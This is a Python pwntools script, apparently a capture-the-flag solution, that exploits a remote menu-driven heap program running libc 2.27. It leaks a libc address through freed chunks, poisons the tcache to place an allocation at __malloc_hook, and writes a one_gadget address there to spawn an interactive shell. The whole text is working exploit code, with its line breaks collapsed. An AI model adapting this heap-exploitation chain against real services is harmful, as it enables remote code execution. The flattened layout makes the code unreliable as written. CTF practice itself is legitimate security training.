1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| from pwn import *
sh = remote('node3.buuoj.cn',25051) libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so') malloc_hook_s = libc.symbols['__malloc_hook'] one_gadget_s = 0x10a38c
def add(size,content): sh.sendlineafter('Your choice:','1') sh.sendlineafter('size?>',str(size)) sh.sendafter('content:',content)
def edit(index,content,have_content = True): sh.sendlineafter('Your choice:','2') sh.sendlineafter('Index:',str(index)) if have_content: sh.sendafter('New content:',content)
def show(index): sh.sendlineafter('Your choice:','3') sh.sendlineafter('Index:',str(index))
def delete(index): sh.sendlineafter('Your choice:','4') sh.sendlineafter('Index:',str(index))
add(0x100,'a') for i in range(7): add(0x100,'b') for i in range(1,8): delete(i)
delete(0) add(0x30,'a')
show(0) sh.recvuntil('Content: ') main_arena_xx = u64(sh.recv(6).ljust(8,'\x00')) malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF) libc_base = malloc_hook_addr - malloc_hook_s one_gadget_addr = libc_base + one_gadget_s print 'libc_base=',hex(libc_base) print 'malloc_hook_addr=',hex(malloc_hook_addr) print 'one_gadget_addr=',hex(one_gadget_addr) add(0,'')
edit(1,'',False) delete(1) add(0x10,p64(malloc_hook_addr))
add(0x10,p64(one_gadget_addr))
sh.sendlineafter('Your choice:','1')
sh.interactive()
|